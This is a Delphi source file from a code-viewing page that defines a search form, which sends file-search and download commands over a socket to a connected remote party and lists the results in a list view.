📄 unitsearch.pas
字号:
unit UnitSearch;
interface
uses
Windows,
Messages,
SysUtils,
Variants,
Classes,
Graphics,
Controls,
Forms,
Dialogs,
ComCtrls,
StdCtrls,
ExtCtrls,
Sockets,
CompressionStreamUnitForms,
Menus;
type
TSearch = class(TForm)
Panel1: TPanel;
ListView1: TListView;
Label1: TLabel;
Edit1: TEdit;
Edit2: TEdit;
Label2: TLabel;
Button1: TButton;
PopupMenu1: TPopupMenu;
Download1: TMenuItem;
Button2: TButton;
procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
procedure Download1Click(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure PopupMenu1Popup(Sender: TObject);
procedure FormShow(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
DataSocket: TCustomWinSocket;
Searching: Boolean;
end;
implementation
{$R *.dfm}
uses
UnitMain;
const
F_DOWNLOAD = 10;
F_SEARCH = 11;
procedure TSearch.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
CanClose := False;
if not Button1.Enabled then Exit;
Searching := False;
Hide;
end;
procedure TSearch.Download1Click(Sender: TObject);
var
CommandFrame: TCommandFrame;
ReplyStream: TMemoryStream;
Data: string;
begin
if not Assigned(ListView1.Selected) then Exit;
if not Assigned(DataSocket) then Exit;
if not DataSocket.Connected then Exit;
Data := ListView1.Selected.Caption;
CommandFrame.len := Length(Data) + 1;
CommandFrame.Command := F_DOWNLOAD;
CommandFrame.ID := FRAME_ID;
ReplyStream := TMemoryStream.Create;
ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
ReplyStream.WriteBuffer(Pointer(Data)^, CommandFrame.len);
Main.SendStream(DataSocket, ReplyStream);
end;
procedure TSearch.Button1Click(Sender: TObject);
var
CommandFrame: TCommandFrame;
ReplyStream: TMemoryStream;
Data: string;
begin
if not Assigned(DataSocket) then Exit;
if not DataSocket.Connected then Exit;
Data := Edit2.Text + '|' + Edit1.Text;
CommandFrame.len := Length(Data) + 1;
CommandFrame.Command := F_SEARCH;
CommandFrame.ID := FRAME_ID;
ReplyStream := TMemoryStream.Create;
ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
ReplyStream.WriteBuffer(Pointer(Data)^, CommandFrame.len);
Main.SendStream(DataSocket, ReplyStream);
ListView1.Clear;
Button1.Enabled := False;
Button2.Enabled := False;
end;
procedure TSearch.Button2Click(Sender: TObject);
begin
ListView1.Clear;
end;
procedure TSearch.PopupMenu1Popup(Sender: TObject);
begin
Download1.Visible := False;
if not Assigned(ListView1.Selected) then Exit;
Download1.Visible := (Pos('D', ListView1.Selected.SubItems.Strings[1]) = 0);
end;
procedure TSearch.FormShow(Sender: TObject);
begin
SetWindowLong(Button1.Handle, GWL_STYLE, WS_CHILD or WS_VISIBLE or BS_FLAT);
SetWindowLong(Button2.Handle, GWL_STYLE, WS_CHILD or WS_VISIBLE or BS_FLAT);
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -